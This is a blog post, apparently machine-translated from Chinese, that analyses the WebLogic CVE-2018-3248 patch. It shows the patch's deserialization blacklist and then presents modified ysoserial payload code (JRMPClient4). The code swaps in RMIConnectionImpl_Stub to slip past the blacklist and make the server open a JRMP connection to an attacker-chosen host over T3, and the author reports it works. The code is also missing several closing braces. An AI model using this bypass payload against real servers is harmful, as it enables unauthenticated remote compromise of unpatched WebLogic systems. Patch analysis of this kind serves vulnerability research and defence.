Weblogic 2018-3248 analysis of Java Security

nice_ 0e3 2021-01-21 19:55:28
weblogic 2018-3248 analysis java security

Java Safety Weblogic 2018-3248 analysis

0x00 Preface

Based on the previous analysis , The latter mainly depends on the way to bypass the patch , Here is a simple record .

0x01 Patch analysis

Let's look at the patch details first

private static final String[] DEFAULT_BLACKLIST_PACKAGES =
{ "org.apache.commons.collections.functors",
"javassist", "java.rmi.activation",
"sun.rmi.server" };
private static final String[] DEFAULT_BLACKLIST_CLASSES =
{ "org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject",
"java.rmi.server.RemoteObjectInvocationHandler" };

Compared with the previous patch, the following content has been added :


0x02 Bypass analysis

New patches add new content , take RemoteObjectInvocationHandler and UnicastRemoteObject Dura's on the blacklist .

But in the new vulnerability, the way to bypass it is to use other classes instead RemoteObjectInvocationHandler Class .

Bypass the conditions :

  1. Not on the blacklist ( crap )
  2. Inherit java.rmi.server.RemoteObject Subclasses of

First to see RemoteObjectInvocationHandler Inheritance .

Inheritance of such kind RemoteObject class ,CTRL+H lookup RemoteObject Subclasses of .

There are many subclasses found . Here's a change yso Content can bypass .

changes yso

package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@SuppressWarnings ( {
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient4 extends PayloadRunner implements ObjectPayload<Object> {
public Object streamMessageImpl(byte[] object) {
StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
public Object getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
return stub;
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPClient4.class, args);

It's over yso Rewrite packaging , The generated payload Use T3 Protocol transmission can be bypassed in the past , Use success .

Reference article



0x03 ending

This article is short , In fact, it's still because we can't find a patch , It's not interesting to analyze .

本文为[nice_ 0e3]所创,转载请带上原文链接,感谢

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